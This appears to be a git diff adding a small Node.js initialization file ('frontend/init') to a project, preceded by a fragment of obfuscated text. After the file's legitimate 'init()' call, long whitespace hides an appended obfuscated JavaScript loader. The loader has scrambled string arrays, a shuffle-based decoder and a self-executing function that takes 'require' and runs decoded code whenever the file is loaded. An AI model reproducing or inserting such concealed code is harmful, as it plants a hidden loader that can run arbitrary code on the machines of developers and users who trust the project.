<<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
diff --git a/frontend/init b/frontend/init
new file mode 100644
index 00000000..2f6afdc9
--- /dev/null
+++ b/frontend/init
@@ -0,0 +1,30 @@
+'use strict';
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR 